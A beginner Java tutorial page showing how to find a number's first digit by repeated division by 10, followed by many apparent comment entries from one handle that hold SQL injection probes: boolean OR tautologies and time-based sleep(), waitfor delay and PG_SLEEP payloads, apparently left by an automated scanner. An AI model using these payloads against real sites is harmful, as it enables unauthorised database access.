# Java Program to print the first digit of a given number

Get input num and display the first digit of number num

Sample Input 1:

675

Sample Output 1:

The fisrt digit is :6

#### Program or Solution

``` import java.util.*; class FirstDigit { public static void main(String args[]) { int num; Scanner sc=new Scanner(System.in); System.out.println("Enter The Number:"); num=sc.nextInt(); while(num>=10) { num=num/10; } System.out.println("The First Digit Is:"+num); } } ```

#### Program Explanation

1. Get num (to which first digit is to be identified)

2. Instruction(s) inside the while block{} are executed repeatedly till expression (num>=10) is true.

3. Divide the number num by 10 untill it becomes lesser than 10.

once it is less than 10 print the num using system.out.println.

statement num = num/10 divides the num by 10 repeatedly until it num is less than 10

Example

487

487/10 = 48

48 / 10 = 4

4 is less than 10, so print it.

##### ubaTaeCJ
-1 OR 2+291-291-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+291-291-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+291-291) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+291-291) --
##### ubaTaeCJ
-1 OR 2+417-417-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+417-417-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+417-417)
##### ubaTaeCJ
-1 OR 3*2>(0+5+417-417)
##### ubaTaeCJ
-1' OR 2+858-858-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+858-858-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+858-858) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+858-858) --
##### ubaTaeCJ
-1' OR 2+31-31-1=0+0+0+1 or 'I43SIU8K'='
##### ubaTaeCJ
-1' OR 3+31-31-1=0+0+0+1 or 'I43SIU8K'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+31-31) or 'I43SIU8K'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+31-31) or 'I43SIU8K'='
##### ubaTaeCJ
-1" OR 2+882-882-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+882-882-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+882-882) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+882-882) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
VV9TeYXY'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 70=(SELECT 70 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
##### ubaTaeCJ
pQasKxMg' OR 218=(SELECT 218 FROM PG_SLEEP(15))--
##### ubaTaeCJ
13ycw805') OR 429=(SELECT 429 FROM PG_SLEEP(6))--
##### ubaTaeCJ
C5raOBWR')) OR 416=(SELECT 416 FROM PG_SLEEP(15))--